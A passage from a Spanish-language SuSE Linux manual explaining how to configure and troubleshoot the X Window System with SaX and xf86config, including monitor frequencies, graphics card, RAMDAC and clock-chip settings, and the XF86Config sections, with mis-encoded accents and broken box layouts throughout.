Las teclas de flecha en el campo `Tama±o' permiten aumentar o disminuir
en direcci≤n horizontal y vertical. El campo `Posici≤n' sirve para cambiar
la ubicaci≤n relativa de la imagen en el monitor. íUse las teclas para ajustar
la imagen a gusto!
En las cuatro esquinas de la pantalla hay peque±os cuadros para ver si la
imagen esta bien ajustada. En caso de un ajuste correcto estas esquinas se
deben ver completamente sin distorsi≤n de color.
_______________________________________________________________________________________________________________________
|||||||| íSaX no permite mßs que el ajuste fino de la imagen en pantalla y por lo || |
|||||||| || |
|||||||| tanto no reemplaza el ajuste manual con las teclas del monitor! || |
||||||||_______________________________________________________________________________________________________________||_
*
* 245
8. El sistema X Window____________________________________________________________________________________________________________*
*_______________________________________@
DespuΘs del ajuste de la imagen existen dos posibilidades de cerrar la ventana:
`Guardar': Terminar la configuraci≤n de sistema X Window y grabar los
ajustes actuales, con lo cual se regresa al prompt de Linux.
`Cancelar': Cancelaci≤n de SaX sin grabaci≤n de los ajustes.
Para regresar a la primera consola se pulsa |A_____|lt+ |F___|_1.
8.1.2 Reconfiguraci≤n
SaX tambiΘn ayuda mucho ajustando un servidor X a las necesidades una vez
que estΘ instalado.
Para ello SaX lee y analiza la configuraci≤n en /etc/XF86Config, en la cual
el sistema X Window graba sus propios datos de configuraci≤n. Por eso no
hace falta configurar otra vez todo (de mouse a monitor), porque SaX acoge la
configuraci≤n existente que funciona. Los datos leφdos en /etc/XF86Config
se muestran en sus correspondientes fichas.
No obstante, el usuario tiene toda la libertad en la nueva configuraci≤n del
servidor X: Puede seleccionar el modelo de monitor del amplio banco de
datos y asφ, adaptar mejor la configuraci≤n a las capacidades del monitor
como tambiΘn ajustar c≤modamente la posici≤n de la imagen en pantalla.
Ademßs SaX ofrece una superficie confortable para la administraci≤n de to-
das las combinaciones de profundidad de color y de resoluci≤n de la tarjeta
de vφdeo a travΘs de un simple ''click'' del mouse en la ficha `Escritorio'.
8.1.3 Resoluci≤n de problemas
En este apartado tiene lugar la discusi≤n sobre los problemas mßs grandes,
que pueden ocurrir durante la configuraci≤n del servidor X usando SaX .
o Si al probar la configuraci≤n el monitor comienza a parpadear o a mostrar
una imagen negra o torcida, ''mate'' inmediatamente_el servidor_X para____
que no_se_da±e la pantalla. Para_ello_pulse |C______|trl+ |A____l|t+ | ____7|(!íCuidado,
no |T____a|b, sino la tecla | ____7| !(Backspace)!)
DespuΘs de algo asφ, se entra en la ficha `Monitor' y se elige un monitor
adecuado o se introducen los datos del monitor a mano. Lo mismo es
vßlido cuando la imagen empieza a parpadear durante el ajuste de la
pantalla.
o En casos complicados, SaX ofrece opciones para la lφnea de comando,
p. ej. :
--server vga16 : En el primer inicio de SaX , se utiliza el servidor
VGA16 en lugar del servidor X especial de la tarjeta de vφdeo. Este
servidor deberφa funcionar prßcticamente con todas las tarjetas y se us-
arß automßticamente cuando SaX no la reconozca o cuando se use una
tarjeta ISA.
La documentaci≤n actual respecto a SaX se encuentra en el directorio /usr/
doc/packages/sax. Las excepciones en el arranque de SaX o durante
su configuraci≤n se guardan en los ficheros /root/ServerLog y /root/
StartLog, que se pueden consultar en caso de problemas, para sacar conclu-
siones de c≤mo resolver errores relacionados con SaX .
246
________________________________________________________________________________________8.1.__Configuraci≤n_con_SaX_________*
*______________________
8.1.4 Inicio del sistema X Window
Ahora cualquier usuario puede arrancar el sistema X Window con el comando
startx . Se activa una superficie grßfica preconfigurada por defecto, usando el
gestor de ventanas fvwm . Por eso, es mejor ejecutar startx desde la cuenta de
usuario y no desde la de `root'. Los errores del servidor X (si los hubiese)
se encuentran en el fichero ~/.X.err. La llamada startx soporta un par de
opciones; por ejemplo con
tux@tierra: > startx -- -bpp 16
se puede elegir la profundidad de color de 16 Bit.
8.1.5 Configuraci≤n de la tarjeta grßfica: Problemas y soluciones
El sistema X Window estß funcionando pero la imagen estß distorsionada o
la idea es la optimizaci≤n de la imagen.
o La mayor causa de distorsiones es una frecuencia vsync demasiado alta.
Como hsync y DotClock dependen linealmente de ello resultan diversos
problemas.
La reducci≤n del refresco de pantalla (p. ej. a 80 Hz) puede resolver el
problema y la imagen a·n sigue estando prßcticamente libre de parpadeo.
Ademßs a esta frecuencia de refresco la imagen es mßs nφtida, como con
un refresco de 160 Hz.
Lo mejor es intentar bajar el refresco del monitor. Para ello se selecciona
en SaX la ficha `Monitor' y bajo `Extendido' se configura una fre-
cuencia de refresco mßs baja. Para monitores modernos una frecuencia
de refresco entre 80 y 90 Hz resulta agradable.
o A veces hay problemas con el ''Hardwarecursor'': Puede ocurrir que se
muestre un bloque rectangular o algo que se parece a un c≤digo de barras
en lugar del cursor del mouse (una flecha). Esto se resuelve indicando la
Opci≤n "sw_cursor" en la Secci≤n "Device" .
o Si existen problemas de configuraci≤n en general, consulte primero los
ficheros README en el directorio /usr/X11R6/lib/X11/doc/ (estßn or-
denados seg·n los nombres de los fabricantes de chipsets), las pßginas de
manual (Manpages) acerca de los servidores X y tambiΘn los FAQ acer-
ca de XFree86 (http://www.xfree86.org); otra fuente de informaci≤n
son las pßginas de SuSE sobre actualizaciones:
http://www.suse.de/en/support/xsuse/
La siguiente lista estß ordenada seg·n la probabilidad de Θxito, por lo que
generalmente el problema se resuelve con la primera opci≤n y si no con la
segunda. La tercera opci≤n es el ·ltimo recurso que emplea un poco de fuerza
;-)
Todas las opciones que figuran aquφ se anotan en la secci≤n ''Device'' del
fichero /etc/XF86Config.
o En lugar de cursor, un c≤digo de barras o un rectßngulo coloreado.
1. Opci≤n sw_cursor en la secci≤n ''Device''.
2. Opci≤n no_imageblt o no_bitblt .
*
* 247
8. El sistema X Window____________________________________________________________________________________________________________*
*_______________________________________@
3. Opci≤n noaccel .
o Imagen estrecha o aplastada con los ajustes de la pantalla en sus
lφmites.
1. Probablemente la frecuencia de refresco o la frecuencia de sin-
cronizaci≤n horizontal hsync son demasiado altas y en el lφmite
de la pantalla. Soluci≤n: Reduzca la frecuencia wertvsync y/o hsync .
2. Mover la imagen con el programa xvidtune . Tal vez justamente el
modo escogido no ''encaja'' bien.
3. A±adir +hsync +vsync a la lφnea ''Modeline'' e intentar reemplazar +
por - .
o Quedan rallas o restos de ventanas en la pantalla cuando se estß
moviendo ventanas. Estos restos no desaparecen antes de un refresco
total del escritorio.
1. Reducir frecuencia de refresco o resoluci≤n.
2. Seg·n el chipset grßfico introducir opciones que figuran en los ficheros
README del directorio /usr/X11R6/lib/X11/doc/. Por ejemplo las
opciones fifo_conservative o slow_dram . Atenci≤n: íLas op-
ciones dependen evidentemente del chipset!
3. Usar la opci≤n noaccel , tal vez ya alcanza no_imageblt o
no_bitblt .
o ''Noise'' ~ Rallas intermitentes que aparecen en pantalla al mover una
ventana o al mirar un vφdeo, pero que desaparecen cuando la imagen
es estßtica.
1. Reducir frecuencia de refresco, profundidad de color o la resoluci≤n.
2. Reducir la frecuencia de la memoria o quitar (o bien introducir) ''Wait-
states''. Se trata de una operaci≤n que funciona a veces con la op-
ci≤n set_mclk (íno para todos los chipsets!); hay mßs detalles en los
README. Cuidado, la opci≤n es peligrosa ya que se puede forzar la
frecuencia de la tarjeta grßfica.
3. Tal vez la frecuencia del bus es demasiado alta; compruebe la frecuen-
cia del bus PCI/VLB o ISA.
o Iniciando XFree86 la pantalla se pone negra.
1. Reducir la frecuencia de refresco.
2. Considere otras fuentes de error como conflictos de IRQ (p. ej. un
mouse PS/2 necesita la IRQ 12).
8.2 Configuraci≤n con xf86config
SaX como herramienta de configuraci≤n supera casi siempre al programa
xf86config cuando se trata de configuraciones simples del sistema X Window.
En las pocas ocasiones en las que SaX no llega a configurar correctamente el
servidor X, esto funciona casi siempre con xf86config .
Se necesita una serie de datos para la configuraci≤n:
248
____________________________________________________________________________8.2.__Configuraci≤n_con_xf86config______________*
*______________________
o Tipo de mouse, puerto de conexi≤n y velocidad de transferencia en bau-
dios (lo ·ltimo suele ser opcional).
o Especificaci≤n de la tarjeta de vφdeo.
o Especificaci≤n del monitor (frecuencias, etc.).
Conociendo estos datos se puede comenzar con la configuraci≤n, que sola-
mente puede ser ejecutada por el usuario `root'.
La configuraci≤n se inicia con:
tierra:/root # /usr/X11R6/bin/xf86config
Mouse
DespuΘs de una pantalla de bienvenida, el primer men· pregunta por el tipo
de mouse. Aparecen las siguientes opciones:
_______________________________________________________________________________________________________________________||
|||||||| 1. Microsoft compatible (2-button protocol) |
|||||||| 2. Mouse Systems (3-button protocol) |
|||||||| |
|||||||| 3. Bus Mouse |
|||||||| 4. PS/2 Mouse |
|||||||| 5. Logitech Mouse (serial, old type, Logitech protocol) |
|||||||| 6. Logitech MouseMan (Microsoft compatible) |
|||||||| |
|||||||| 7. MM Series |
|||||||| 8. MM HitTablet |
||||||||_______________________________________________________________________________________________________________ |
Mensaje en pantalla 8.2.1: Selecci≤n de mouse para los X
Configurando el tipo de mouse hay que considerar que, muchos de los mouse
mßs recientes de Logitech son compatibles con Microsoft o que usan el pro-
tocolo MouseMan. íLa selecci≤n de Bus Mouse se refiere a todos los tipos
de mouse de bus, tambiΘn los de Logitech!
El tipo de mouse adecuado se selecciona indicando el n·mero al comienzo
de la fila. DespuΘs (p. ej. seleccionando el tipo 1) aparece la pregunta por
la activaci≤n de ChordMiddle . Se trata de una opci≤n necesaria para la
activaci≤n del bot≤n del medio de algunos mouse de Logitech o para algunos
Trackballs:
Please answer the following question with either `y' or `n'.
Do you want to enable ChordMiddle?
La afirmaci≤n (`y') de la siguiente pregunta permite la emulaci≤n de un
tercer bot≤n de mouse para aquellos que solo tienen dos botones:
Please answer the following question with either `y' or `n'.
Do you want to enable Emulate3Buttons?
El tercer bot≤n de mouse se emula interpretando el uso de los dos botones a
la vez, como el del bot≤n del medio.
DespuΘs se pregunta por el puerto en el cual estß el mouse:
Now give the full device name that the mouse is connected to, for
example /dev/tty00. Just pressing enter will use the default,
/dev/mouse. Mouse device:
Durante la instalaci≤n ya se ha definido un puerto de mouse, asφ que se puede
usar aquφ esta definici≤n (/dev/mouse ).
*
* 249
8. El sistema X Window____________________________________________________________________________________________________________*
*_______________________________________@
Teclado
Ahora viene la pregunta, si se deberφa asignar a la tecla izquierda de | ____
____ A____l|tel
valor Meta (ESC) y a la derecha de |A____l|tel valor ModeShift (AltGr):
Please answer the following question with either `y' or `n'.
Do you want to enable these bindings for the Alt keys?
Es aconsejable_elegir_`y' para llegar a los caracteres especiales que se alcan-_
zan con |A_________l|ty GrtambiΘn para poder usar la tecla izquierda de |A____l|tcomo
Meta-tecla3 .
Monitor
Ahora hay que especificar el monitor. Los datos crφticos son la frecuencia
vertical y horizontal que estßn generalmente documentados en el manual del
monitor.
________________________________________________________________________________________________________*
*________||
| íIndicar rangos de frecuencia equivocados puede provocar la destrucci≤n *
* ||||
| del monitor! El sistema X Window solo usa los modos de vφdeo que envφan *
* |||
| *
* |||
| se±ales localizadas dentro del rango de frecuencias admitidas. *
* |||
|_______________________________________________________________________________________________________*
*________|||_
Los valores admisibles para algunos monitores se encuentran en /usr/
X11R6/lib/X11/doc/Monitors4
Para elegir la frecuencia horizontal se presenta la siguiente selecci≤n:
________________________________________________________________________________________________________*
*________||||
| hsync in kHz; monitor type with characteristic modes *
* |
| 1 31.5; Standard VGA, 640x480 @ 60 Hz *
* |
| 2 31.5 - 35.1; Super VGA, 800x600 @ 56 Hz *
* |
| 3 31.5, 35.5; 8514 Compatible, 1024x768 @ 87 Hz interl. *
* |
| *
* |
| (no 800x600) *
* |
| 4 31.5, 35.15, 35.5; Super VGA, 1024x768 @ 87 Hz il., *
* |
| 800x600 @ 56 Hz *
* |
| *
* |
| 5 31.5 - 37.9; Extended Super VGA, 800x600 @ 60 Hz, *
* |
| 640x480 @ 72 Hz *
* |
| 6 31.5 - 48.5; Non-Interlaced SVGA, 1024x768 @ 60 Hz, *
* |
| 800x600 @ 72 Hz *
* |
| *
* |
| 7 31.5 - 57.0; High Frequency SVGA, 1024x768 @ 70 Hz *
* |
| 8 31.5 - 64.3; Monitor that can do 1280x1024 @ 60 Hz *
* |
| 9 31.5 - 79.0; Monitor that can do 1280x1024 @ 74 Hz *
* |
| 10 Enter your own horizontal sync range *
* |
| *
* |
| Enter your choice (1-10): *
* |
|_______________________________________________________________________________________________________*
*________ |
Mensaje en pantalla 8.2.2: Definici≤n de las frecuencias horizontales del
monitor
Solo en caso de no conocer los datos exactos del monitor, se escogerß una
de las opciones predefinidas. Con `10' es posible introducir las frecuencias
exactas.
DespuΘs del dißlogo que pregunta por las frecuencias horizontales hay que
definir las verticales. Aquφ se presenta tambiΘn una selecci≤n:
_____________________________________________3
p. ej.en Emacs
4 íNo hay garantφa para estos valores!
250
____________________________________________________________________________8.2.__Configuraci≤n_con_xf86config______________*
*______________________
_______________________________________________________________________________________________________________________||
|||||||| 1 50-70 |
|||||||| 2 50-90 |
|||||||| |
|||||||| 3 50-100 |
|||||||| 4 40-150 |
|||||||| 5 Enter your own vertical sync range |
|||||||| |
|||||||| |
|||||||| Enter your choice (1-5): |
||||||||_______________________________________________________________________________________________________________ |
Mensaje en pantalla 8.2.3: Frecuencias verticales detalladas
Como en la anterior pregunta, es mejor introducir los valores exactos en lugar
de recurrir a uno de los rangos dados de `1' a `4'.
DespuΘs se pide introducir un nombre para la descripci≤n del monitor,
Enter an identifier for your monitor definition:
el nombre del fabricante,
Enter the vendor name of your monitor:
y el modelo:
Enter the model name of your monitor:
En las anteriores preguntas se puede introducir el_nombre_correspondiente o
usar los valores predeterminados pulsando |_______E|nter. Con esto se finaliza la
especificaci≤n del monitor.
Tarjeta de vφdeo/servidor X
Se contin·a con la especificaci≤n de la tarjeta grßfica usada:
Do you want to look at the card database?
Introduciendo `y' aparece una lista con tarjetas de vφdeo preconfiguradas.
Se puede seleccionar de esta lista la definici≤n de una tarjeta indicando el
n·mero correspondiente. íAl elegir una tarjeta de vφdeo hay que tener en
cuenta que incluso tarjetas del mismo tipo pueden tener variaciones respecto a
Clock-Chip y RAMDAC (ingl. Random Access Memory Digital-to-Analogue
Converter)!
Por eso existe mßs adelante la opci≤n de configurar Clock-Chip y RAMDAC
de manera individual, aunque la tarjeta ya haya sido elegida anteriormente de
la lista de preconfiguraciones.
Las definiciones del banco de datos de tarjetas, contienen informaci≤n sobre
Clock-Chip, RAMDAC y el servidor X a usar. Seg·n el caso, se a±aden
tambiΘn datos interesantes sobre la tarjeta en la secci≤n Device del fichero
XF86Config.
Si la tarjeta grßfica buscada no se encuentra en el listado, no hay por quΘ
preocuparse. Es posible volver con `q' a la configuraci≤n normal. Al selec-
cionar una tarjeta, solamente se deberφa seleccionar una del listado, cuando
el nombre de la lista corresponde exactamente con la tarjeta usada. No se re-
comienda elegir una tarjeta con un nombre parecido, ya que esto no significa
que el hardware tambiΘn lo sea.
En el apartado 8.3 en la pßgina 256Optimizaci≤n de la instalaci≤n del sistema
X Windowsection.8.3 hay informaci≤n adicional sobre la configuraci≤n de la
tarjeta grßfica.
*
* 251
8. El sistema X Window____________________________________________________________________________________________________________*
*_______________________________________@
DespuΘs de haber especificado la tarjeta viene la selecci≤n del servidor X:
________________________________________________________________________________________________________*
*________||||
| 1 The XF86_Mono server. This a monochrome server that should work on *
* |
| any VGA-compatible card, in 640x480 (more on some SVGA chipsets). *
* |
| 2 The XF86_VGA16 server. This is a 16-color VGA server that should *
* |
| *
* |
| work on any VGA-compatible card. *
* |
| 3 The XF86_SVGA server. This is a 256 color SVGA server that supports *
* |
| a number of SVGA chipsets. It is accelerated on some Cirrus and WD *
* |
| chipsets; it supports 16/32-bit color on certain Cirrus *
* |
| *
* |
| configurations. *
* |
| 4 The accelerated servers. These include XF86_S3, XF86_Mach32, *
* |
| XF86_Mach8, XF86_8514, XF86_P9000, XF86_AGX, XF86_W32 and *
* |
| *
* |
| XF86_Mach64. *
* |
| *
* |
| These four server types correspond to the four different "Screen" *
* |
| sections in XF86Config (vga2, vga16, svga, accel). *
* |
| *
* |
| *
* |
| 5 Choose the server from the card definition, XF86_S3. *
* |
| *
* |
| Which one of these four screen types do you intend to run *
* |
| *
* |
| by default (1-4)? *
* |
|_______________________________________________________________________________________________________*
*________ |
Mensaje en pantalla 8.2.4: Selecci≤n del servidor X
1 Un servidor para monitores monocromßticos. Deberφa funcionar con
cualquier tarjeta grßfica compatible a VGA con una resoluci≤n mφnima
de 640x480 puntos.
2 El servidor de 16 colores XF86`VGA16. Deberφa funcionar con cualquier
tarjeta compatible a VGA.
3 El servidor SVGA XF86`SVGA. Este servidor de 256 colores soporta una
gran cantidad de tarjetas SVGA. Algunas tarjetas de Cirrus y de WD
aprovechan la aceleraci≤n de grßficos. Hay tarjetas de Cirrus que permiten
una profundidad de color 16 o 32-Bit en modo color.
4 Servidor para tarjetas aceleradoras. Hay varios servidores a disposici≤n
(ver mßs abajo)
5 Esta opci≤n solo existe cuando se ha elegido una tarjeta en la lista anterior.
Se propone el servidor adecuado para la tarjeta.
Cuando se ha elegido un servidor, aparece una pregunta acerca de la gen-
eraci≤n de un enlace simb≤lico del servidor elegido en /usr/X11R6/bin/X.
Al afirmar la pregunta con `y', el programa pide la confirmaci≤n para colocar
el enlace en /var/X11R6/bin:
Do you want to set it in /var/X11R6/bin?
Afirme esta pregunta, porque es posible que no necesariamente se pueda
escribir en el ßrbol /usr.
Ahora aparece un men· con los servidores X disponibles para tarjetas aceler-
adoras, si en la selecci≤n anterior se ha escogido `4':
Estos servidores son especiales y soportan las prestaciones adicionales de las
correspondientes tarjetas. La colocaci≤n del enlace supone que el servidor X
correcto ya fue instalado durante la instalaci≤n del sistema X Window.
DespuΘs de la selecci≤n del servidor X, hace falta especificar la tarjeta grßfica
en mßs detalle. Primero se define la cantidad de memoria instalada.
252
____________________________________________________________________________8.2.__Configuraci≤n_con_xf86config______________*
*______________________
_______________________________________________________________________________________________________________________||
|||||||| Select an accel server: |
|||||||| |
|||||||| |
|||||||| 1 XF86_S3 |
|||||||| 2 XF86_Mach32 |
|||||||| 3 XF86_Mach8 |
|||||||| 4 XF86_8514 |
|||||||| |
|||||||| 5 XF86_P9000 |
|||||||| 6 XF86_AGX |
|||||||| 7 XF86_W32 |
|||||||| 8 XF86_MACH64 |
|||||||| |
|||||||| |
|||||||| Which accel server: |
||||||||_______________________________________________________________________________________________________________ |
Mensaje en pantalla 8.2.5: Servidores X acelerados
_______________________________________________________________________________________________________________________||||
|||||||| How much video memory do you have on your video card: |
|||||||| |
|||||||| 1 256K |
|||||||| 2 512K |
|||||||| 3 1024K |
|||||||| |
|||||||| 4 2048K |
|||||||| 5 4096K |
|||||||| 6 Other |
|||||||| |
|||||||| |
|||||||| Enter your choice: |
||||||||_______________________________________________________________________________________________________________ |
Mensaje en pantalla 8.2.6: Definici≤n de la cantidad de memoria grßfica
DespuΘs pregunta por un nombre, el fabricante y el tipo de tarjeta grßfica. Si
se ha elegido antes la tarjeta desde el banco de datos es suficiente con pulsar
_- |||||||||__.
Enter an identifier for your video card definition:
Enter the vendor name of your video card:
Enter the model (board) name of your video card:
Si se ha elegido como servidor X uno del tipo acelerado, aparece ahora la
pregunta por el ''RAMDAC setting''. Solo es importante para tarjetas del tipo
S3 o AGX:
Generalmente lo mejor es pulsar | _____|_-y no seleccionar nada, salvo que se
haya elegido una tarjeta que soporta una configuraci≤n de RAMDAC especial.
Este caso estarß indicado y se recomienda seleccionarlo realmente.
DespuΘs de haber contestado a esto se puede elegir el Clock-Chip de las
tarjetas aceleradas si es que lo llevan. Seleccionando un Clock-Chip ya no
se necesitan lφneas de Clock, ya que los valores-Clock necesarios pueden ser
programados:
Si se usa una tarjeta grßfica sin ''Clock-Chip'', es suficiente con pulsar |______|-,
para no seleccionar ninguno. Si la tarjeta fue seleccionada en el listado de
tarjetas se indica automßticamente el Clock-Chip que exista.
Sin haber seleccionado ning·n Clock-Chip, xf86config propone iniciar el
programa X -probeonly para determinar los Clock-Timings que soporta la
*
* 253
8. El sistema X Window____________________________________________________________________________________________________________*
*_______________________________________@
| *
* |
________________________________________________________________________________________________________*
*________||||
| 1 AT&T 20C490 (S3 server) att20c490 *
* |
| 2 AT&T 20C498/21C498/22C498 (S3) att20c498 *
* |
| 3 AT&T 20C505 (S3) att20c505 *
* |
| *
* |
| 4 BrookTree BT481 (AGX) bt481 *
* |
| 5 BrookTree BT482 (AGX) bt482 *
* |
| 6 BrookTree BT485/9485 (S3) bt485 *
* |
| 7 Sierra SC15025 (S3, AGX) sc15025 *
* |
| *
* |
| 8 S3 GenDAC (86C708) (autodetected) s3gendac *
* |
| 9 S3 SDAC (86C716) (autodetected) s3_sdac *
* |
| 10 STG-1700 (S3) stg1700 *
* |
| 11 TI 3020 (S3) ti3020 *
* |
| *
* |
| 12 TI 3025 (S3) ti3025 *
* |
| 13 TI 3020 (S3, autodetected) ti3020 *
* |
| 14 TI 3025 (S3, autodetected) ti3025 *
* |
| 15 TI 3026 (S3, autodetected) ti3026 *
* |
| *
* |
| 16 IBM RGB 514 (S3, autodetected) ibm_rgb514 *
* |
| 17 IBM RGB 524 (S3, autodetected) ibm_rgb524 *
* |
| 18 IBM RGB 525 (S3, autodetected) ibm_rgb525 *
* |
| *
* |
| 19 IBM RGB 526 (S3) ibm_rgb526 *
* |
| 20 IBM RGB 528 (S3, autodetected) ibm_rgb528 *
* |
| 21 ICS5342 (S3, ARK) ics5342 *
* |
| 22 ICS5341 (W32) ics5341 *
* |
| *
* |
| 23 IC Works w30C516 ZoomDac (ARK) zoomdac *
* |
| 24 Normal DAC normal *
* |
|_______________________________________________________________________________________________________*
*________ |
Mensaje en pantalla 8.2.7: Indicaci≤n del RAMDAC
________________________________________________________________________________________________________*
*________||||
| 1 Chrontel 8391 ch8391 *
* |
| 2 ICD2061A and compatibles (ICS9161A, DCS2824) icd2061a *
* |
| 3 ICS2595 ics2595 *
* |
| 4 ICS5342 (similar to SDAC, but not completely compatible) *
* |
| *
* |
| ics5342 *
* |
| 5 ICS5341 ics5341 *
* |
| 6 S3 GenDAC (86C708) and ICS5300 (autodetected) s3gendac *
* |
| 7 S3 SDAC (86C716) s3_sdac *
* |
| *
* |
| 8 STG 1703 (autodetected) stg1703 *
* |
| 9 Sierra SC11412 sc11412 *
* |
| 10 TI 3025 (autodetected) ti3025 *
* |
| 11 TI 3026 (autodetected) ti3026 *
* |
| *
* |
| 12 IBM RGB 51x/52x (autodetected) ibm_rgb5xx *
* |
|_______________________________________________________________________________________________________*
*________ |
Mensaje en pantalla 8.2.8: Determinaci≤n del Clockchip
254
____________________________________________________________________________8.2.__Configuraci≤n_con_xf86config______________*
*______________________
tarjeta. Estos se apuntarßn automßticamente en una lφnea de Clocks en el
fichero XF86Config.
Aquφ hay que indicar claramente, por quΘ los Clock-Timings que se deter-
minan automßticamente pueden ser muy peligrosos: Si la tarjeta tiene un
Clock-Chip programable, el servidor X no puede cambiar entre los distintos
Clocks de la tarjeta y por tanto solo reconoce los Clocks 0, 1 y a veces 2. Los
demßs valores son mßs o menos casuales (generalmente los Clocks 0, 1 y 2
se repiten y por eso se reemplazan por ceros).
Los clocks distintos de 0 y 1 dependen mucho de la pre-programaci≤n del
Clock-Chip, por lo que el valor del Clock 2 puede ser diferente cuando se
efect·a la prueba (valor que se apunta en XF86Config) al valor del momento
de arrancar el servidor X. De este modo todos los Timings son falsos y el
monitor se puede da±ar.
Un buen indicio para un Clock-Chip programable y sus problemas son
muchos ceros en los valores del Timing o valores que continuamente se
repiten. íEn ning·n caso se deben introducir valores semejantes en el fichero
XF86Config!
Para determinar el Clock-Chip o el Clock-Timing se puede usar la siguiente
estrategia:
o Lo mejor es indicar un Clock-Chip programable si es que existe sobre la
tarjeta. En este caso se programa correctamente y el fichero XF86Config
no contendrφa ninguna referencia a los Clocks. Otra posibilidad es la com-
paraci≤n de los circuitos (chips) que hay sobre la tarjeta con los Clock-
Chips que se ofrecen en el men·, para averiguar asφ el que coincide. Casi
todas las tarjetas modernas del tipo S3 llevan un Clock-Chip programable.
o Si no tiene ning·n Clock-Chip programable sobre la tarjeta, lo mejor es
ejecutar X -probeonly y comparar los valores encontrados con los del
manual de la tarjeta (la computadora no debe correr ning·n otro progra-
ma). Si estos mßs o menos coinciden ( 2), anote los valores en el fichero
XF86Config.
Si no es posible comparar los valores, compruebe la validez de los mismos
(muchos ceros o valores que se repiten continuamente indican valores
no vßlidos). Anote los valores vßlidos a mano en XF86Config, pero no
suprima ning·n valor ni intente reordenar o modificar de alguna manera
los mismos. Hay que apuntar los valores en el mismo orden de aparici≤n.
Usando el servidor P9000 se introduce sencillamente, para cada modo, el
clock deseado en la lφnea Clocks . El orden de los modos no es impor-
tante.
o Siempre es vßlido: Cuando el Clock-Chip es programable no debe existir
ninguna lφnea de Clocks en XF86Config (Excepci≤n: P9000).
Al contrario, cuando el Clock-Chip no es programable, sφ que debe haber
una lφnea de Clocks en XF86Config. Asφ se evita la determinaci≤n
automßtica pesada y tal vez peligrosa de los Clocks en cada arranque del
sistema X Window. Ademßs en caso de tarjetas que no permiten leer los
Clocks no aparecen valores falsos y asφ no habrß riesgo para el monitor.
Para probar ahora los Clocks (tener en cuenta los pßrrafos anteriores), se
contesta la siguiente pregunta con `y':
*
* 255
8. El sistema X Window____________________________________________________________________________________________________________*
*_______________________________________@
Do you want me to run `X -probeonly' now?
La pantalla se obscurece por un momento y despuΘs aparece una lista con
los Clocks determinados o, un mensaje advirtiendo que no se ha encontrado
ning·n Clock. Si se ha definido un Clock-Chip con anterioridad no aparece
la pregunta sobre ejecutar X -probeonly , ya que los Clocks se programarßn
automßticamente. En este caso aparece directamente la pr≤xima opci≤n de
configuraci≤n.
________________________________________________________________________________________________________*
*________||
| íSi ha contestado la ·ltima pregunta con `y' y la pantalla se queda obscura *
* ||||
| *
* |||
| por mßs de 30 segundos, debe terminar en todo caso la fase de prueba *
* |||
| con |C______|trl+|A____l|t+| ____7|o!|C______|trl+|c_ |! Si no queda mßs remedio apague el *
* |||
| ______ ____ ____ ______ _ *
* |||
| monitor y la computadora para no poner en peligro estos componentes. *
* |||
|_______________________________________________________________________________________________________*
*________|||_
Guardar la configuraci≤n
Ahora se ha terminado la configuraci≤n pero el fichero de configuraci≤n a·n
no estß guardado. Lo mejor es guardar el fichero de configuraci≤n de X-
Window XF86Config en el directorio /etc. Asφ se asegura tambiΘn en una
red que cada computadora lleve su ''propia'' configuraci≤n, incluso cuando
varias computadoras comparten el ßrbol /usr.
Indique entonces `/etc/XF86Config' como destino del fichero de config-
uraci≤n. Con esto se termina el programa xf86config y la configuraci≤n del
sistema X Window.
8.3 Optimizaci≤n de la instalaci≤n del sistema X Window
Los programas XF86Setup y xf86config generan el fichero XF86Config y lo
escriben generalmente al directorio /etc. Este es el fichero de configuraci≤n
principal del X Window System que contiene las definiciones de mouse,
monitor y tarjeta de vφdeo.
XF86Config se compone de varios pßrrafos, llamados ''secciones'' (ingl. sec-
tions) y cada una contempla un determinado aspecto de la configuraci≤n. Ca-
da secci≤n tiene la forma:
Section <Denominador de secci≤n>
definici≤n 1
definici≤n 2
definici≤n n
EndSection
Existen los siguientes tipos de secciones:
_______________________________________________________________________________________________________*
*_________
Files Esta secci≤n describe los path (las ramas) para los jue-
gos de caracteres y la tabla de colores RGB.
ServerFlags Aquφ se apuntan indicadores generales (ingl. flags).
_______________________________________________________________________________________________________*
*_________
Tabla 8.1: Contin·a en la pßgina siguiente ...
256
__________________________________________8.3.__Optimizaci≤n_de_la_instalaci≤n_del_sistema_X_Window_________________________*
*______________________
______________________________________________________________________________________________________________________
Keyboard Sirve para la descripci≤n del teclado y del driver usado.
Para Linux solo puede ser Device "Standard".
Pointer Contiene las definiciones necesarias para el dispositi-
vo apuntador, que es generalmente un mouse pero tam-
biΘn podrφa ser un lßpiz fotosensible (ingl. LightPen) o
una tableta grßfica. Las indicaciones importantes son el
Protocol y el Device .
Monitor Descripci≤n del monitor usado. Los elementos de es-
ta secci≤n son un nombre, que sirve mßs tarde de ref-
erencia en la definici≤n del Screen tal como el val-
or de la anchura de banda (Bandwidth [MHz] ) y de
las frecuencias de sincronizaci≤n (HorizSync [kHz] y
VertRefresh [Hz] ). El servidor ''rechaza'' cualquier
Modeline que no cumple con la especificaci≤n del mon-
itor. Haciendo esto se evita mandar al monitor frecuen-
cias demasiado altas cuando se estßn manipulando los
Modelines.
Device Esta secci≤n define una determinada tarjeta grßfica cuya
referencia es el nombre dado aquφ.
Screen Esta secci≤n une finalmente un Driver (p. ej. vga2 o
accel ), con un Monitor y un Device para formar
asφ las indicaciones necesarias para XFree86. La sub-
secci≤n Display permite la definici≤n de un tama±o
de pantalla virtual (Virtual ), del ViewPort y de los
Modes usados con este Screen .
______________________________________________________________________________________________________________________
Tabla 8.1: Secciones (ingl. sections) en /etc/XF86Config
Aquφ se contemplan mßs de cerca las secciones Monitor , Device y Screen .
En la pßgina del manual de XF86Config (man XF86Config ) hay mßs infor-
maci≤n sobre las demßs secciones.
En el fichero XF86Config pueden aparecer varias secciones de los tipos
Monitor y Device . TambiΘn se pueden usar varias secciones Screen cuyo
uso depende del servidor X usado.
Screen-Section
Primero queremos contemplar de cerca la secci≤n de Screen . Esta une una
secci≤n de Monitor y de Device y determina cußl resoluci≤n se proporciona
con cußl profundidad de color.
Una secci≤n del tipo Screen puede parecerse p. ej. a la del fichero 8.3.1 en la
pßgina siguiente.
Con la lφnea de driver se determina para cußl servidor X vale la definici≤n. Los
distintos servidores que se encuentran en la lista de la en la pßgina 252Tarjeta
de vφdeo/servidor XHfootnote.43 se indican con las claves en la tabla 8.2 en
la pßgina siguiente.
*
* 257
8. El sistema X Window____________________________________________________________________________________________________________*
*_______________________________________@
| *
* |
________________________________________________________________________________________________________*
*________||||
| Section "Screen" *
* |
|| DriverDevice "accel""Miro Crystal 40SV" *
* ||
| Monitor "EIZO T563-T" *
* |
| *
